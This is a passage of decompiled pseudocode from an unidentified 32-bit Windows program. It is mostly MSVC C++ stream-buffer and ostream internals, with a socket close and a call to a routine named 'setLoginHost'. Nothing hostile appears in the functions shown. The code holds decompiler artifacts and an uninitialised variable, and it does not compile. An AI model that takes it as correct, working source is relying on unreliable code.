    result = 1;
  }
  else
  {
    ST101C_4_0 = *(_DWORD *)(a1 + 120);
    closesocket(v19);
    v26 = v31 < 0x10;
    *(_DWORD *)(a1 + 120) = -1;
    if ( v26 )
      return 0;
    ST101C_4_0 = v29;
    operator delete(v20);
    result = 0;
  }
  return result;
}

//----- (00409540) --------------------------------------------------------
int __stdcall sub_409540(int a1)
{
  int v2; // esi@1
  signed int v3; // [sp+10h] [bp-10h]@1
  signed int v4; // [sp+1Ch] [bp-4h]@1

  v2 = a1;
  *(_DWORD *)a1 = &dword_421920;
  std__basic_ios_char_std__char_traits_char____basic_ios_char_std__char_traits_char__(a1 + 80);
  v3 = 1;
  std__basic_ostream_char_std__char_traits_char____basic_ostream_char_std__char_traits_char__(v2);
  v4 = 1;
  *(_DWORD *)(v2 + *(_DWORD *)(*(_DWORD *)v2 + 4)) = &off_42191C;
  std__basic_streambuf_char_std__char_traits_char____basic_streambuf_char_std__char_traits_char__(v2 + 4);
  *(_DWORD *)(v2 + 4) = &off_4218DC;
  *(_DWORD *)(v2 + 64) = 0;
  *(_DWORD *)(v2 + 68) = 4;
  return v2;
}

//----- (004095F0) --------------------------------------------------------
int __usercall sub_4095F0<eax>(int a1<eax>, int a2<ecx>)
{
  int v3; // ebx@1

  v3 = a2;
  sub_409CB0(a2, a1 + 4);
  return v3;
}

//----- (00409610) --------------------------------------------------------
void __fastcall sub_409610(int a1)
{
  int v1; // esi@1
  char v2; // zf@1

  v1 = a1;
  v2 = (*(_BYTE *)(a1 + 64) & 1) == 0;
  *(_DWORD *)a1 = &off_4218DC;
  if ( !v2 )
    operator delete(**(_DWORD **)(a1 + 16));
  **(_DWORD **)(v1 + 16) = 0;
  **(_DWORD **)(v1 + 32) = 0;
  **(_DWORD **)(v1 + 48) = 0;
  **(_DWORD **)(v1 + 20) = 0;
  **(_DWORD **)(v1 + 36) = 0;
  **(_DWORD **)(v1 + 52) = 0;
  *(_DWORD *)(v1 + 64) &= 0xFFFFFFFEu;
  *(_DWORD *)(v1 + 60) = 0;
  std__basic_streambuf_char_std__char_traits_char_____basic_streambuf_char_std__char_traits_char__();
}

//----- (00409680) --------------------------------------------------------
signed int __thiscall sub_409680(int this, signed int a2)
{
  int v2; // esi@1
  unsigned int v3; // edx@2
  unsigned int *v4; // edi@2
  unsigned int v5; // ecx@3
  signed int v6; // ebx@5
  unsigned int v8; // ecx@7
  unsigned int v9; // ebx@13
  unsigned int v10; // eax@15
  int v11; // eax@21
  const void *v12; // edx@21
  int v13; // edi@21
  int v14; // eax@4
  unsigned int *v15; // eax@7
  int v16; // eax@23
  int v17; // ecx@26
  int v18; // eax@26
  int v19; // eax@26
  int v20; // ecx@28
  int v21; // eax@28
  int v22; // eax@31
  signed int v23; // ecx@31
  int v24; // [sp+10h] [bp-4h]@21
  const void *v25; // [sp+Ch] [bp-8h]@21

  v2 = this;
  if ( *(_BYTE *)(this + 64) & 8 )
  {
    v4 = *(unsigned int **)(this + 36);
    v3 = *v4;
    if ( *v4 )
    {
      v5 = *(_DWORD *)(this + 60);
      if ( v3 < v5 )
      {
        v14 = v3 + **(_DWORD **)(v2 + 52);
        *v4 = v5;
        **(_DWORD **)(v2 + 52) = v14 - v5;
      }
    }
  }
  v6 = a2;
  if ( a2 == -1 )
    return 0;
  v15 = *(unsigned int **)(v2 + 36);
  v8 = *v15;
  if ( *v15 && v8 < v8 + **(_DWORD **)(v2 + 52) )
  {
    *(_BYTE *)std__basic_streambuf_char_std__char_traits_char_____Pninc(v2) = a2;
    return v6;
  }
  if ( *(_BYTE *)(v2 + 64) & 2 )
    return -1;
  if ( v8 )
    v9 = v8 + **(_DWORD **)(v2 + 52) - **(_DWORD **)(v2 + 16);
  else
    v9 = 0;
  v10 = v9 >> 1;
  if ( v9 >> 1 >= 0x20 )
  {
    if ( !v10 )
      return -1;
  }
  else
  {
    v10 = 32;
  }
  do
  {
    if ( 2147483647 - v10 >= v9 )
      break;
    v10 >>= 1;
  }
  while ( v10 );
  if ( !v10 )
    return -1;
  v24 = v10 + v9;
  v11 = sub_405DA0(v10 + v9);
  v12 = (const void *)**(_DWORD **)(v2 + 16);
  v13 = v11;
  v25 = (const void *)**(_DWORD **)(v2 + 16);
  if ( v9 && (memcpy((void *)v11, v12, v9), v12 = v25, v9) )
  {
    v17 = *(_DWORD *)(v2 + 36);
    *(_DWORD *)(v2 + 60) += v13 - (_DWORD)v25;
    v18 = *(_DWORD *)v17;
    **(_DWORD **)(v2 + 20) += v13 - (_DWORD)v12;
    v19 = v13 + v18 - (_DWORD)v12;
    **(_DWORD **)(v2 + 36) = v19;
    **(_DWORD **)(v2 + 52) = v24 + v13 - v19;
    if ( *(_BYTE *)(v2 + 64) & 4 )
    {
      **(_DWORD **)(v2 + 16) = v13;
      **(_DWORD **)(v2 + 32) = 0;
      **(_DWORD **)(v2 + 48) = v13;
    }
    else
    {
      v20 = **(_DWORD **)(v2 + 36);
      v21 = v13 + **(_DWORD **)(v2 + 32) - (_DWORD)v12;
      **(_DWORD **)(v2 + 16) = v13;
      **(_DWORD **)(v2 + 32) = v21;
      **(_DWORD **)(v2 + 48) = v20 - v21 + 1;
    }
  }
  else
  {
    v16 = *(_DWORD *)(v2 + 20);
    *(_DWORD *)(v2 + 60) = v13;
    *(_DWORD *)v16 = v13;
    **(_DWORD **)(v2 + 36) = v13;
    **(_DWORD **)(v2 + 52) = v24;
    if ( *(_BYTE *)(v2 + 64) & 4 )
    {
      **(_DWORD **)(v2 + 16) = v13;
      **(_DWORD **)(v2 + 32) = 0;
      **(_DWORD **)(v2 + 48) = v13;
    }
    else
    {
      **(_DWORD **)(v2 + 16) = v13;
      **(_DWORD **)(v2 + 32) = v13;
      **(_DWORD **)(v2 + 48) = 1;
    }
  }
  if ( *(_BYTE *)(v2 + 64) & 1 )
    operator delete(v12);
  *(_DWORD *)(v2 + 64) |= 1u;
  v22 = std__basic_streambuf_char_std__char_traits_char_____Pninc(v2);
  v23 = a2;
  *(_BYTE *)v22 = a2;
  return v23;
}

//----- (00409850) --------------------------------------------------------
signed int __thiscall sub_409850(int this, signed int a2)
{
  unsigned int v2; // eax@1
  signed int v3; // edx@3
  signed int result; // eax@7

  v2 = **(_DWORD **)(this + 32);
  if ( !v2
    || v2 <= **(_DWORD **)(this + 16)
    || (v3 = a2, a2 != -1) && (_BYTE)a2 != *(_BYTE *)(v2 - 1) && *(_BYTE *)(this + 64) & 2 )
  {
    result = -1;
  }
  else
  {
    ++**(_DWORD **)(this + 48);
    --**(_DWORD **)(this + 32);
    if ( v3 == -1 )
    {
      result = 0;
    }
    else
    {
      ***(_BYTE ***)(this + 32) = v3;
      result = v3;
    }
  }
  return result;
}

//----- (004098A0) --------------------------------------------------------
signed int __fastcall sub_4098A0(int a1)
{
  unsigned int *v1; // edx@1
  unsigned int v2; // esi@1
  signed int result; // eax@2
  int v4; // edi@3
  unsigned int v5; // eax@6

  v1 = *(unsigned int **)(a1 + 32);
  v2 = *v1;
  if ( *v1 )
  {
    v4 = *(_DWORD *)(a1 + 48);
    if ( v2 >= v2 + *(_DWORD *)v4 )
    {
      if ( *(_BYTE *)(a1 + 64) & 4 || (v5 = **(_DWORD **)(a1 + 36), !v5) || v5 <= v2 && *(_DWORD *)(a1 + 60) <= v2 )
      {
        result = -1;
      }
      else
      {
        if ( *(_DWORD *)(a1 + 60) < v5 )
          *(_DWORD *)(a1 + 60) = v5;
        *(_DWORD *)v4 = *(_DWORD *)(a1 + 60) - *v1;
        result = ***(_BYTE ***)(a1 + 32);
      }
    }
    else
    {
      result = *(_BYTE *)v2;
    }
  }
  else
  {
    result = -1;
  }
  return result;
}

//----- (00409910) --------------------------------------------------------
int __thiscall sub_409910(int this, int a2, __int64 a3, signed int a4, char a5)
{
  unsigned int v5; // eax@1
  unsigned int *v6; // edx@1
  int v7; // eax@5
  int v8; // ebx@7
  int v9; // esi@7
  __int64 v10; // qax@15
  int v11; // edi@15
  int v12; // edi@19
  unsigned int v13; // eax@22
  __int64 v14; // qax@31
  int v15; // edi@31
  int result; // eax@37
  __int64 v17; // qax@7
  __int64 v18; // qax@10
  int v19; // edi@18
  int v20; // eax@20
  int v21; // edx@20
  __int64 v22; // qax@24
  __int64 v23; // qax@26
  int v24; // edi@34
  int v25; // [sp+0h] [bp-4h]@1

  v25 = this;
  v6 = *(unsigned int **)(this + 36);
  v5 = *v6;
  if ( *v6 )
  {
    if ( *(_DWORD *)(this + 60) < v5 )
      *(_DWORD *)(this + 60) = v5;
  }
  if ( !(a5 & 1) || (v7 = **(_DWORD **)(this + 32), v25 = **(_DWORD **)(this + 32), !v7) )
  {
    if ( a5 & 2 && (v13 = *v6, *(_DWORD *)&a5 = *v6, v13) )
    {
      if ( a4 == 2 )
      {
        v22 = *(_DWORD *)(this + 60) - **(_DWORD **)(this + 16);
        v9 = (_DWORD)v22 + (_DWORD)a3;
        v8 = *((_DWORD *)&v22 + 1) + __MKCADD__(v22, a3) + *((_DWORD *)&a3 + 1);
      }
      else
      {
        if ( a4 == 1 )
        {
          v23 = (signed int)(v13 - **(_DWORD **)(this + 16));
          v9 = (_DWORD)v23 + (_DWORD)a3;
          v8 = *((_DWORD *)&v23 + 1) + __MKCADD__(v23, a3) + *((_DWORD *)&a3 + 1);
        }
        else
        {
          if ( a4 )
          {
            v9 = std___BADOFF;
            v8 = *(_DWORD *)((_DWORD)std___BADOFF + 4);
          }
          else
          {
            v8 = *((_DWORD *)&a3 + 1);
            v9 = a3;
          }
        }
      }
      if ( v8 >= 0 )
      {
        v15 = **(_DWORD **)(this + 16);
        v14 = *(_DWORD *)(this + 60) - v15;
        if ( v8 <= *((_DWORD *)&v14 + 1) )
        {
          if ( v8 < *((_DWORD *)&v14 + 1) || (unsigned int)v9 <= (_DWORD)v14 )
          {
            v24 = v9 + v15 - a5;
            **(_DWORD **)(this + 52) -= v24;
            **(_DWORD **)(this + 36) += v24;
            goto LABEL_37;
          }
        }
      }
    }
    else
    {
      v9 = a3;
      v8 = *((_DWORD *)&a3 + 1);
      if ( !a3 )
        goto LABEL_37;
    }
LABEL_36:
    v9 = std___BADOFF;
    v8 = *(_DWORD *)((_DWORD)std___BADOFF + 4);
    goto LABEL_37;
  }
  if ( a4 != 2 )
  {
    if ( a4 == 1 )
    {
      if ( !(a5 & 2) )
      {
        v18 = v7 - **(_DWORD **)(this + 16);
        v9 = (_DWORD)v18 + (_DWORD)a3;
        v8 = *((_DWORD *)&v18 + 1) + __MKCADD__(v18, a3) + *((_DWORD *)&a3 + 1);
        goto LABEL_14;
      }
    }
    else
    {
      if ( !a4 )
      {
        v8 = *((_DWORD *)&a3 + 1);
        v9 = a3;
        goto LABEL_14;
      }
    }
    v9 = std___BADOFF;
    v8 = *(_DWORD *)((_DWORD)std___BADOFF + 4);
    goto LABEL_14;
  }
  v17 = *(_DWORD *)(this + 60) - **(_DWORD **)(this + 16);
  v9 = (_DWORD)v17 + (_DWORD)a3;
  v8 = *((_DWORD *)&v17 + 1) + __MKCADD__(v17, a3) + *((_DWORD *)&a3 + 1);
LABEL_14:
  if ( v8 < 0
    || (v11 = **(_DWORD **)(this + 16), v10 = *(_DWORD *)(this + 60) - v11, v8 > *((_DWORD *)&v10 + 1))
    || v8 >= *((_DWORD *)&v10 + 1) && (unsigned int)v9 > (_DWORD)v10 )
    goto LABEL_36;
  v19 = v9 + v11 - v25;
  **(_DWORD **)(this + 48) -= v19;
  **(_DWORD **)(this + 32) += v19;
  if ( a5 & 2 )
  {
    v12 = *(_DWORD *)(this + 36);
    if ( *(_DWORD *)v12 )
    {
      v20 = *(_DWORD *)v12 + **(_DWORD **)(this + 52);
      v21 = **(_DWORD **)(this + 32);
      *(_DWORD *)v12 = v21;
      **(_DWORD **)(this + 52) = v20 - v21;
    }
  }
LABEL_37:
  result = a2;
  *(_DWORD *)a2 = v9;
  *(_DWORD *)(a2 + 4) = v8;
  *(_DWORD *)(a2 + 8) = 0;
  *(_DWORD *)(a2 + 12) = 0;
  *(_DWORD *)(a2 + 16) = 0;
  return result;
}

//----- (00409AC0) --------------------------------------------------------
int __thiscall sub_409AC0(int this, int a2, int a3, int a4, int a5, int a6, int a7, int a8, char a9)
{
  unsigned int v9; // eax@1
  int v10; // ebx@1
  int v11; // esi@1
  int v12; // eax@4
  int v13; // edi@4
  __int64 v14; // qax@9
  int v15; // edi@9
  int v16; // edi@13
  __int64 v17; // qax@18
  int v18; // edi@18
  int result; // eax@24
  int v20; // edx@7
  int v21; // edi@12
  int v22; // eax@14
  int v23; // edx@14
  int v24; // edx@16
  int v25; // edi@21
  int v26; // [sp+10h] [bp-8h]@4
  int v27; // [sp+14h] [bp-4h]@4
  int v28; // [sp+Ch] [bp-Ch]@7

  v11 = a3 + a5;
  v9 = **(_DWORD **)(this + 36);
  v10 = a4 + __MKCADD__(a3, a5) + ((unsigned __int64)a5 >> 32);
  if ( v9 )
  {
    if ( *(_DWORD *)(this + 60) < v9 )
      *(_DWORD *)(this + 60) = v9;
  }
  v13 = std___BADOFF;
  v12 = *(_DWORD *)((_DWORD)std___BADOFF + 4);
  v26 = std___BADOFF;
  v27 = v12;
  if ( v11 != (_DWORD)std___BADOFF || v10 != v12 )
  {
    if ( a9 & 1 && (v20 = **(_DWORD **)(this + 32), v28 = **(_DWORD **)(this + 32), v20) )
    {
      if ( v10 < 0 )
      {
LABEL_23:
        v11 = v13;
        v10 = v12;
        goto LABEL_24;
      }
      v15 = **(_DWORD **)(this + 16);
      v14 = *(_DWORD *)(this + 60) - v15;
      if ( v10 <= *((_DWORD *)&v14 + 1) && (v10 < *((_DWORD *)&v14 + 1) || (unsigned int)v11 <= (_DWORD)v14) )
      {
        v21 = v11 + v15 - v28;
        **(_DWORD **)(this + 48) -= v21;
        **(_DWORD **)(this + 32) += v21;
        if ( a9 & 2 )
        {
          v16 = *(_DWORD *)(this + 36);
          if ( *(_DWORD *)v16 )
          {
            v22 = *(_DWORD *)v16 + **(_DWORD **)(this + 52);
            v23 = **(_DWORD **)(this + 32);
            *(_DWORD *)v16 = v23;
            **(_DWORD **)(this + 52) = v22 - v23;
          }
        }
        goto LABEL_24;
      }
    }
    else
    {
      if ( !(a9 & 2) || (v24 = **(_DWORD **)(this + 36), v28 = **(_DWORD **)(this + 36), !v24) || v10 < 0 )
        goto LABEL_23;
      v18 = **(_DWORD **)(this + 16);
      v17 = *(_DWORD *)(this + 60) - v18;
      if ( v10 <= *((_DWORD *)&v17 + 1) && (v10 < *((_DWORD *)&v17 + 1) || (unsigned int)v11 <= (_DWORD)v17) )
      {
        v25 = v11 + v18 - v28;
        **(_DWORD **)(this + 52) -= v25;
        **(_DWORD **)(this + 36) += v25;
        goto LABEL_24;
      }
    }
    v12 = v27;
    v13 = v26;
    goto LABEL_23;
  }
LABEL_24:
  result = a2;
  *(_DWORD *)a2 = v11;
  *(_DWORD *)(a2 + 4) = v10;
  *(_DWORD *)(a2 + 8) = 0;
  *(_DWORD *)(a2 + 12) = 0;
  *(_DWORD *)(a2 + 16) = 0;
  return result;
}

//----- (00409BF0) --------------------------------------------------------
int __thiscall sub_409BF0(int this, char a2)
{
  int v2; // edi@1
  int v4; // ecx@1
  int v5; // [sp+Ch] [bp-10h]@1
  signed int v6; // [sp+18h] [bp-4h]@1

  v2 = this - 80;
  v4 = *(_DWORD *)(*(_DWORD *)(this - 80) + 4);
  v5 = v2 + 80;
  *(_DWORD *)(v4 + v2 + 80 - 80) = &off_42191C;
  sub_409610(v2 + 4);
  v6 = -1;
  *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v2 + 4) + v2 + 80 - 80) = std__basic_ostream_char_std__char_traits_char_____vftable_;
  std__basic_ios_char_std__char_traits_char_____basic_ios_char_std__char_traits_char__();
  if ( a2 & 1 )
    operator delete(v2);
  return v2;
}

//----- (00409C80) --------------------------------------------------------
int __thiscall sub_409C80(int this, char a2)
{
  int v2; // esi@1

  v2 = this;
  sub_409610(this);
  if ( a2 & 1 )
    operator delete(v2);
  return v2;
}

//----- (00409CB0) --------------------------------------------------------
int __userpurge sub_409CB0<eax>(int a1<ebx>, int a2)
{
  int v2; // ecx@1
  unsigned int *v3; // edx@2
  unsigned int v4; // edx@3
  unsigned int v5; // edi@3
  int v6; // ST00_4@6
  int v7; // ecx@8
  const void *v9; // eax@5
  int v10; // edi@9
  const void *v11; // eax@9
  int  s; // [sp+54h] [bp+0h]@1
  unsigned int v13; // [sp+44h] [bp-10h]@1
  int v14; // [sp+8h] [bp-4Ch]@1
  int v15; // [sp+38h] [bp-1Ch]@5
  signed int v16; // [sp+3Ch] [bp-18h]@5
  int v17; // [sp+28h] [bp-2Ch]@5
  signed int v18; // [sp+50h] [bp-4h]@5
  signed int v19; // [sp+20h] [bp-34h]@11
  int v20; // [sp+1Ch] [bp-38h]@11
  int v21; // [sp+Ch] [bp-48h]@11

  v13 = (unsigned int)& s ^ dword_426018;
  v2 = *(_DWORD *)(a2 + 64);
  v14 = 0;
  if ( v2 & 2 || (v3 = *(unsigned int **)(a2 + 36), !*v3) )
  {
    if ( v2 & 4 || (v7 = *(_DWORD *)(a2 + 32), !*(_DWORD *)v7) )
    {
      v19 = 15;
      v20 = 0;
      LOBYTE(v21) = 0;
      v18 = 2;
      *(_DWORD *)(a1 + 16) = 0;
      *(_DWORD *)(a1 + 20) = 15;
      *(_BYTE *)a1 = 0;
      sub_4019A0((int)&v21, a1);
      if ( (unsigned int)v19 >= 0x10 )
      {
        v6 = v21;
        goto LABEL_13;
      }
    }
    else
    {
      v10 = *(_DWORD *)v7 + **(_DWORD **)(a2 + 48);
      v11 = (const void *)**(_DWORD **)(a2 + 16);
      v15 = 0;
      v16 = 15;
      LOBYTE(v17) = 0;
      setLoginHost(v11, v10 - (_DWORD)v11, (int)&v17);
      v18 = 1;
      *(_DWORD *)(a1 + 20) = 15;
      *(_DWORD *)(a1 + 16) = 0;
      *(_BYTE *)a1 = 0;
      sub_4019A0((int)&v17, a1);
      if ( (unsigned int)v16 >= 0x10 )
      {
        v6 = v17;
        goto LABEL_13;
      }
    }
  }
  else
  {
    v4 = *v3;
    v5 = *(_DWORD *)(a2 + 60);
    if ( v5 < v4 )
      v5 = v4;
    v9 = (const void *)**(_DWORD **)(a2 + 20);
    v15 = 0;
    v16 = 15;
    LOBYTE(v17) = 0;
    setLoginHost(v9, v5 - (_DWORD)v9, (int)&v17);
    v18 = 0;
    *(_DWORD *)(a1 + 20) = 15;
    *(_DWORD *)(a1 + 16) = 0;
    *(_BYTE *)a1 = 0;
    sub_4019A0((int)&v17, a1);
    if ( (unsigned int)v16 >= 0x10 )
    {
      v6 = v17;
LABEL_13:
      operator delete(v6);
      return a1;
    }
  }
  return a1;
}

//----- (00409E00) --------------------------------------------------------
int __stdcall sub_409E00(int a1)
{
  int v1; // esi@1
  int result; // eax@3
  signed int v3; // [sp+10h] [bp-4h]@1

  v1 = a1;
  v3 = 0;
  if ( !(unsigned __int8)std__uncaught_exception() )
    std__basic_ostream_char_std__char_traits_char_____Osfx(*(_DWORD *)v1);
  v3 = -1;
  result = *(_DWORD *)(*(_DWORD *)(**(_DWORD **)v1 + 4) + *(_DWORD *)v1 + 56);
  if ( result )
    result = (*(int (**)(void))(*(_DWORD *)result + 8))();
  return result;
}

//----- (00409E90) --------------------------------------------------------
int __cdecl sub_409E90(int a1, const char *a2)
{
  unsigned int v2; // eax@1
  int v3; // edx@1
  int v4; // ecx@1
  int v5; // esi@1
  int v6; // ebx@7
  int v7; // edi@7
  int v8; // edx@9
  int v9; // eax@11
  int v10; // eax@12
  int v11; // eax@14
  int v12; // edx@14
  int v13; // edx@23
  int v14; // edi@27
  int v15; // ecx@29
  int v17; // ecx@7
  char v18; // zf@14
  int v19; // eax@20
  int v20; // eax@26
  unsigned __int8 v21; // cf@32
  int v22; // eax@36
  unsigned __int8 v23; // cf@38
  int v24; // [sp+0h] [bp-40h]@1
  int *v25; // [sp+30h] [bp-10h]@1
  signed int v26; // [sp+2Ch] [bp-14h]@1
  int v27; // [sp+28h] [bp-18h]@1
  int v28; // [sp+1Ch] [bp-24h]@7
  int v29; // [sp+10h] [bp-30h]@9
  signed int v30; // [sp+3Ch] [bp-4h]@11
  char v31; // [sp+14h] [bp-2Ch]@14
  int v32; // [sp+24h] [bp-1Ch]@20

  v25 = &v24;
  v5 = a1;
  v26 = 0;
  v27 = strlen(a2);
  v3 = *(_DWORD *)(*(_DWORD *)a1 + 4);
  v4 = *(_DWORD *)(v3 + a1 + 36);
  v2 = *(_DWORD *)(v3 + a1 + 32);
  if ( v4 >= 0 && (v4 > 0 || v2) && v4 >= 0 && (v4 > 0 || v2 > v27) )
  {
    v17 = v4 - (v2 < v27);
    v7 = v17;
    v6 = v2 - v27;
    v28 = v17;
  }
  else
  {
    v6 = 0;
    v28 = 0;
    v7 = 0;
  }
  v8 = *(_DWORD *)(v3 + a1 + 56);
  v29 = a1;
  if ( v8 )
    (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 4))(v8);
  v30 = 0;
  v9 = *(_DWORD *)(*(_DWORD *)v5 + 4);
  if ( !*(_DWORD *)(v9 + v5 + 12) )
  {
    v10 = *(_DWORD *)(v9 + v5 + 60);
    if ( v10 )
      std__basic_ostream_char_std__char_traits_char____flush(v10);
  }
  v12 = *(_DWORD *)v5;
  v11 = *(_DWORD *)(*(_DWORD *)v5 + 4);
  v18 = *(_DWORD *)(v11 + v5 + 12) == 0;
  v31 = *(_DWORD *)(v11 + v5 + 12) == 0;
  v30 = 1;
  if ( v18 )
  {
    LOBYTE(v30) = 2;
    if ( (*(_DWORD *)(v11 + v5 + 20) & 0x1C0) == 64 )
      goto LABEL_41;
    while ( v7 >= 0 && (v7 > 0 || v6) )
    {
      v19 = *(_DWORD *)(*(_DWORD *)v5 + 4);
      LOBYTE(v32) = *(_BYTE *)(v19 + v5 + 64);
      if ( std__basic_streambuf_char_std__char_traits_char____sputc(*(_DWORD *)(v19 + v5 + 56), v32) == -1 )
      {
        v26 |= 4u;
        break;
      }
      v21 = __MKCADD__(-1, v6--);
      v7 = v21 + v7 - 1;
      v28 = v7;
    }
    if ( !v26 )
    {
LABEL_41:
      if ( std__basic_streambuf_char_std__char_traits_char____sputn(
             *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v5 + 4) + v5 + 56),
             a2,
             v27,
             0) != v27
        || v13 )
      {
        v26 = 4;
      }
      else
      {
        while ( v28 >= 0 && (v28 > 0 || v6) )
        {
          v22 = *(_DWORD *)(*(_DWORD *)v5 + 4);
          LOBYTE(v32) = *(_BYTE *)(v22 + v5 + 64);
          if ( std__basic_streambuf_char_std__char_traits_char____sputc(*(_DWORD *)(v22 + v5 + 56), v32) == -1 )
          {
            v26 |= 4u;
            break;
          }
          v23 = __MKCADD__(-1, v6--);
          v28 = v23 + v28 - 1;
        }
      }
    }
    v12 = *(_DWORD *)v5;
    v20 = *(_DWORD *)(*(_DWORD *)v5 + 4);
    *(_DWORD *)(v20 + v5 + 32) = 0;
    *(_DWORD *)(v20 + v5 + 36) = 0;
    v30 = 1;
  }
  else
  {
    v26 = 4;
  }
  std__basic_ios_char_std__char_traits_char____setstate(v5 + *(_DWORD *)(*(_DWORD *)v5 + 4), v12, v26, 0);
  v30 = 4;
  v14 = v29;
  if ( !(unsigned __int8)std__uncaught_exception() )
    std__basic_ostream_char_std__char_traits_char_____Osfx(v29);
  v30 = -1;
  v15 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v14 + 4) + v14 + 56);
  if ( v15 )
    (*(int (**)(void))(*(_DWORD *)v15 + 8))();
  return v5;
}

//----- (0040A0B4) --------------------------------------------------------
int (*__usercall sub_40A0B4<eax>(int a1<edx>, int a2<ebp>))()
{
  std__basic_ios_char_std__char_traits_char____setstate(
    *(_DWORD *)(a2 + 8) + *(_DWORD *)(**(_DWORD **)(a2 + 8) + 4),
    a1,
    4,
    1);
  *(_DWORD *)(a2 - 4) = 1;
  return loc_40A0D5;
}

//----- (0040A0E0) --------------------------------------------------------
int __cdecl sub_40A0E0(int a1, int a2)
{
  int v2; // eax@1
  int v3; // edx@1
  unsigned int v4; // ecx@1
  int v5; // ebx@1
  int v6; // esi@1
  int v7; // edi@5
  int v8; // eax@7
  int v9; // eax@9
  int v10; // eax@10
  int v11; // eax@12
  int v12; // eax@19
  int v13; // edx@21
  int v14; // edi@25
  int v15; // ecx@27
  int v17; // ecx@5
  char v18; // zf@12
  int v19; // eax@16
  int v20; // eax@24
  int v21; // eax@33
  char v22; // dl@33
  int v23; // eax@33
  int v24; // [sp+0h] [bp-38h]@1
  int *v25; // [sp+28h] [bp-10h]@1
  signed int v26; // [sp+24h] [bp-14h]@1
  int v27; // [sp+14h] [bp-24h]@4
  int v28; // [sp+20h] [bp-18h]@5
  int v29; // [sp+10h] [bp-28h]@7
  signed int v30; // [sp+34h] [bp-4h]@9
  int v31; // [sp+1Ch] [bp-1Ch]@16

  v25 = &v24;
  v6 = a1;
  v5 = *(_DWORD *)(a2 + 16);
  v2 = *(_DWORD *)(*(_DWORD *)a1 + 4);
  v3 = *(_DWORD *)(v2 + a1 + 36);
  v4 = *(_DWORD *)(v2 + a1 + 32);
  v26 = 0;
  if ( v3 >= 0 && (v3 > 0 || v4) && (v27 = v3, v4 > v5) )
  {
    v17 = v4 - v5;
    v7 = v17;
    v27 = v3;
    v28 = v17;
  }
  else
  {
    v28 = 0;
    v7 = 0;
  }
  v8 = *(_DWORD *)(v2 + a1 + 56);
  v29 = a1;
  if ( v8 )
    (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 4))(v8);
  v30 = 0;
  v9 = *(_DWORD *)(*(_DWORD *)v6 + 4);
  if ( !*(_DWORD *)(v9 + v6 + 12) )
  {
    v10 = *(_DWORD *)(v9 + v6 + 60);
    if ( v10 )
      std__basic_ostream_char_std__char_traits_char____flush(v10);
  }
  v11 = *(_DWORD *)(*(_DWORD *)v6 + 4);
  v18 = *(_DWORD *)(v11 + v6 + 12) == 0;
  LOBYTE(v27) = *(_DWORD *)(v11 + v6 + 12) == 0;
  v30 = 1;
  if ( v18 )
  {
    LOBYTE(v30) = 2;
    if ( (*(_DWORD *)(v11 + v6 + 20) & 0x1C0) != 64 )
    {
      while ( v7 )
      {
        v19 = *(_DWORD *)(*(_DWORD *)v6 + 4);
        LOBYTE(v31) = *(_BYTE *)(v19 + v6 + 64);
        if ( std__basic_streambuf_char_std__char_traits_char____sputc(*(_DWORD *)(v19 + v6 + 56), v31) == -1 )
        {
          v26 |= 4u;
          break;
        }
        --v7;
        v28 = v7;
      }
      if ( v26 )
        goto LABEL_32;
    }
    v12 = a2;
    if ( *(_DWORD *)(a2 + 20) >= 0x10u )
      v12 = *(_DWORD *)a2;
    if ( std__basic_streambuf_char_std__char_traits_char____sputn(
           *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v6 + 4) + v6 + 56),
           v12,
           v5,
           0) != v5
      || v13 )
    {
      v26 = 4;
    }
    else
    {
      v7 = v28;
LABEL_32:
      while ( v7 )
      {
        v21 = *(_DWORD *)(*(_DWORD *)v6 + 4);
        v22 = *(_BYTE *)(v21 + v6 + 64);
        v23 = *(_DWORD *)(v21 + v6 + 56);
        LOBYTE(a2) = v22;
        if ( std__basic_streambuf_char_std__char_traits_char____sputc(v23, a2) == -1 )
        {
          v26 |= 4u;
          break;
        }
        --v7;
      }
    }
    v20 = *(_DWORD *)(*(_DWORD *)v6 + 4);
    *(_DWORD *)(v20 + v6 + 32) = 0;
    *(_DWORD *)(v20 + v6 + 36) = 0;
    v30 = 1;
  }
  else
  {
    v26 = 4;
  }
  std__basic_ios_char_std__char_traits_char____setstate(v6 + *(_DWORD *)(*(_DWORD *)v6 + 4), *(_DWORD *)v6, v26, 0);
  v30 = 4;
  v14 = v29;
  if ( !(unsigned __int8)std__uncaught_exception() )
    std__basic_ostream_char_std__char_traits_char_____Osfx(v29);
  v30 = -1;
  v15 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v14 + 4) + v14 + 56);
  if ( v15 )
    (*(int (**)(void))(*(_DWORD *)v15 + 8))();
  return v6;
}

//----- (0040A2E5) --------------------------------------------------------
int (*__usercall sub_40A2E5<eax>(int a1<ebp>))()
{
  std__basic_ios_char_std__char_traits_char____setstate(
    *(_DWORD *)(a1 + 8) + *(_DWORD *)(**(_DWORD **)(a1 + 8) + 4),
    **(_DWORD **)(a1 + 8),
    4,
    1);
  *(_DWORD *)(a1 - 4) = 1;
  return loc_40A306;
}

//----- (0040A310) --------------------------------------------------------
int __cdecl sub_40A310(int a1, int a2)
{
  void *v2; // eax@1
  unsigned int v3; // edi@1
  int v4; // esi@1
  int v5; // eax@5
  char v7; // cf@4
  signed int v8; // [sp+Ch] [bp-10h]@1
  int v9; // [sp+18h] [bp-4h]@1

  v4 = a1;
  v8 = 0;
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  v9 = 0;
  v3 = *(_DWORD *)(a1 + 16);
  v2 = (void *)(*(_DWORD *)(a2 + 16) + 1);
  v8 = 1;
  if ( v3 <= (unsigned int)v2 )
  {
    if ( *(_DWORD *)(a1 + 20) != (_DWORD)v2 )
    {
      if ( sub_401460(a1, v2, 1) )
      {
        v7 = *(_DWORD *)(v4 + 20) < 0x10u;
        *(_DWORD *)(v4 + 16) = v3;
        if ( v7 )
          v5 = v4;
        else
          v5 = *(_DWORD *)v4;
        *(_BYTE *)(v5 + v3) = 0;
      }
    }
  }
  sub_401510(0xFFFFFFFFu, v4, a2, 0);
  sub_401270(v4, L":", 1u);
  return v4;
}

//----- (0040A3D0) --------------------------------------------------------
